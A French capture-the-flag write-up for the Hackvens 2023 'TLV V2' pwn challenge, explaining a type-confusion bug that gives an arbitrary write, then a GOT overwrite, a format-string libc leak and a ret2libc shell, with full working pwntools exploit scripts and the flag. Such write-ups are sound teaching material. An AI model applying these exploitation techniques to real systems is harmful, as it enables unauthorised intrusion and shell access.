[Hackvens 2023][Write Up – Pwn] TLV V2

Enoncé


Bon, il semblerait que mon premier essai n’était pas des meilleurs… J’ai amélioré mon programme pour y ajouter plus de sécurité.

nc 35.180.250.126 1337


TLV v2

TLV v2

Reconnaissance

Le binaire « TLV2.elf » qui est fourni est un exécutable linux x86-64.

file tlvv2.elf

file tlvv2.elf

En termes de protections:

  • Partial RELRO: La Global Offset Table (GOT) est réinscriptible.
  • Canary: Protections contre les buffers overflow
  • NX: La stack n’est pas exécutable
  • No PIE: Les adresses du programme seront fixes
checksec TLV2.elf

checksec TLV2.elf

Reverse

Trois fonctions semblent importantes ici:

  •  get_tag
  •  get_value
  •  Main
fonction get_tag

fonction get_tag

La fonction get_tag écrit un long int (de taille 8 bytes), provenant de stdin (entrée utilisateur), et l’écrit à l’adresse passée en argument.

fonction get_value

fonction get_value

La fonction get_value appelle la fonction getline, qui récupère l’entrée utilisateur, et l’alloue à l’adresse passée en argument. Si cette valeur est nulle, l’adresse sera allouée dans la heap.
Enfin, get_value retire s’il y en a un, le retour à la ligne.

fonction main

fonction main

La fonction main récupère un tag à l’adresse rbp-0x20, et récupère une valeur à l’adresse rbp-0x1c. Le programme récupère alors la taille de l’entrée utilisateur, et affiche le tag, la taille de l’entrée utilisateur, et l’entrée utilisateur.

La vulnérabilité

Le tag récupéré par la fonction get_tag est de taille 8 bytes. Cependant, la variable dans laquelle ce dernier est stocké est de taille 4 bytes, permettant de dépasser sur l’adresse envoyée dans get_value (qui sera envoyée en argument de getline). Ainsi, plutôt que d’envoyer un argument nul à get_value, il est possible d’y envoyer une adresse, et d’y réécrire son contenu.

On a donc un Arbitrary Write.

Exploitation – ret2main et préparation

Comme la GOT est réinscriptible, on va s’en servir pour réécrire les adresses des fonctions et les réarranger.

Premièrement, on va réécrire strlen, et la remplacer par l’adresse de main, pour pouvoir réécrire à l’infini.

Aussi, pour pouvoir commencer à lire la mémoire, on va remplacer la fonction strcspn (qui retirait le retour à la ligne dans l’entrée utilisateur), par la fonction printf, pour introduire une vulnérabilité format string, qui nous permettra de lire la mémoire.

from pwn import *

r = remote('35.180.250.126',1337)

#ret2main
r.recvline()
reloc_puts = 0x00404008
#On envoie reloc_puts en argument de la fonction get_value:
val = 0xffffffff|reloc_puts<<32
payload = str(val).encode()
r.sendline(payload)
r.recvline()
main = 0x00401373
printf = 0x00401070
#on remplacer les adresses dans la got:
payload = p64(0x00401040)+p64(main)+p64(0x00401060)+p64(0x00401070)+p64(printf)+p64(0x00401090)+p64(0x004010a0)+p64(0x004010b0)+p64(0x004010c0)
r.sendline(payload)

Exploitation – leak, et récupération d’un shell

Memory leak

Memory leak

Maintenant que l’on peut leak la mémoire, on va récupérer l’adresse des fonctions de la GOT, pour pouvoir trouver l’adresse de la fonction system.

Pour cela, on va premièrement trouver l’adresse de notre entrée dans la mémoire. En regardant la stack, on peut voir que l’adresse que l’on a indiqué (le tag) se trouve en position 25, on peut donc récupérer l’adresse de puts dans la libc.

Ici en exécutant le programme en local:

python solve.py.bak

python solve.py.bak

Pour en savoir plus sur les formats string, n’hésitez pas à lire l’article sur l’épreuve du même CTF: rot13 as a service..

Après avoir discuté avec l’auteur de challenge, le programme tourne dans un docker Archlinux à jour. On peut alors s’en servir pour récupérer la libc et récupérer l’adresse de system:

docker run -t archlinux:latest
docker ps #récupérer l'id du docker
docker cp [id]:/usr/lib/libc.so.6 ./

Enfin, on peut remplacer l’adresse de strscpn par l’adresse de system. On peut écraser l’adresse juste avant pour que la chaine de caractère commence par « /bin/sh ».

Solve.py

from pwn import *

r = remote('35.180.250.126',1337)

#ret2main
r.recvline()
reloc_puts = 0x00404008
val = 0xffffffff|reloc_puts<<32
payload = str(val).encode()
r.sendline(payload)
r.recvline()
main = 0x00401373
payload = p64(0x00401040) + p64(main)+p64(0x00401060)+p64(0x00401070)+p64(0x00401070)+p64(0x00401090)+p64(0x004010a0)+p64(0x004010b0)+p64(0x004010c0)
r.sendline(payload)

#leak_libc
r.recvline()
r.sendline(b'1')
r.recvline()
r.sendline(b'%25$s')
leaked_puts = int.from_bytes(r.recvline()[:-1], 'little')
libc_puts = 0x00079bf0
libc_start = leaked_puts - libc_puts
libc_system = 0x0004f760

#system
r.recvline()
reloc_printf = 0x00404020
val = 0xffffffff|reloc_printf<<32
payload = str(val).encode()
r.sendline(payload)
r.recvline()
payload = b'/bin/sh\x00'+p64(libc_start+libc_system)
r.sendline(payload)
r.interactive()

Le flag \o/

Le flag \o/

FLAG

HACKVENS{Typ3_C0nfUs10n1337}

BDENNEUINGÉNIEUR SÉCURITÉ
Yolo

Add a comment

*Please complete all fields correctly